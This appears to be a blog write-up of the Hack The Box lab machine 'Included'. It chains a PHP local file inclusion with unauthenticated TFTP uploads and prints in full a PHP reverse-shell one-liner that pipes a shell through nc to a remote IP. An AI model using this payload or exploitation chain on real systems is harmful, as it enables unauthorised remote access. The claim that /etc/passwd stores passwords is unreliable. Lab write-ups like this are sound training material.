HTB Included- LFI Exploitation in PHP

HTB Included- LFI Exploitation in PHP

Lets look into another easy box called Included. First lets start with a nmap scan.

We can use the -sU flag to scan the udp ports.

nmap -sV -sC -p- -sU -T4 include.htb

Added the ip to the /etc/hosts so we do not need to remember the ip.

We are having a PHP application evident from the URL parameter.


Here the URL fetches the home.php form the web root. This kind of setup is likely to cause a LFI(Local File Inclusion) issue. It means we can access other files on the server if we provide its path in the URL parameter field. Lets try to get /etc/passwd file where passwords and usernames are stored.


It seems to work we have an LFI. Next we can try to escalate this with a reverse shell. Here is a complete cheat sheet on exploiting LFI in php ; CheatSheet.

The nmap scan will take a lot of time for scanning UDP. Its running a tftp service at port 69 and dhcpc server in port 68. What is TFTP? TFTP is the udp based FTP server. It has no authentication. It's usually setup to make file transfer faster. Lets try to access it.

Let's verify we can upload files to server through the TFTP server.


crate a simple file


upload the file


access the uploaded file through the webserver

This means we can inject php reverse shell into the site and get a reverse shell. we can use the https://www.revshells.com/ to get the shell code faster.


We got the reverse shell after uploading the exploit.php script. Here is its contents

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.57 1234 >/tmp/f'); ?>

We got mike's credentials after some explorations.

We can conclude the exploration here, we already got too far with the LFI. This is a successful attack scenario of LFI escalated to shell access.

I am currently working on LiveAPI get all you backends documented automatically (AI based solution), do give it a try.

要查看或添加评论,请登录

Sreedeep CV的更多文章

  • PicoCTF VNE & Picker IV

    PicoCTF VNE & Picker IV

    This is an interesting challenge; there is this binary file that lists the directory as root user. We are given a low…

  • Introducing Integer Overflows

    Introducing Integer Overflows

    Buffer Overflow happens when a program allows data to be written into it beyond its limit, overwriting adjacent memory.…

  • PicoCTF Format String -1

    PicoCTF Format String -1

    Here is another easy format string vulnerability challenge from picoCTF. Let's try the challenge out in the terminal.

  • Learn Binary Exploitation with PicoCTF

    Learn Binary Exploitation with PicoCTF

    Let's learn something new today. Let's hit the most complicated and less explored Binary Explitation challenges.

  • PicoCTF RSA PopQuiz

    PicoCTF RSA PopQuiz

    Let's revise your knowledge on RSA understanding. This is a hard challenge in picoCTF.

    1 条评论
  • Introducing RSA Encryption

    Introducing RSA Encryption

    Security in general is very dependent on cryptography. Every complex challenge, every malware ever written always…

  • PicoCTF Very Very Very Hidden: Forensic Challenge

    PicoCTF Very Very Very Hidden: Forensic Challenge

    We are given a huge pcap file (10 MB) in this challenge. Here is the description : Finding a flag may take many steps…

  • Learn SQLi: PicoCTF Web Gauntlet

    Learn SQLi: PicoCTF Web Gauntlet

    Welcome back, ctf enthusiasts and hackers. Let's learn some manual gamified SQL challenges from PicoCTF.

  • PicoCTF Android Reverse Engineering Challenges Part 3

    PicoCTF Android Reverse Engineering Challenges Part 3

    This is the final android reversing challenge in PicoCTF. Checkout the part 1 and part 2 of the article to see progress…

  • PicoCTF Android Reverse Engineering Challenges Part 2

    PicoCTF Android Reverse Engineering Challenges Part 2

    Today we will try some medium difficult Android challenges from PicoCTF. We completed droids0 and droids1 in the…

    2 条评论

社区洞察

其他会员也浏览了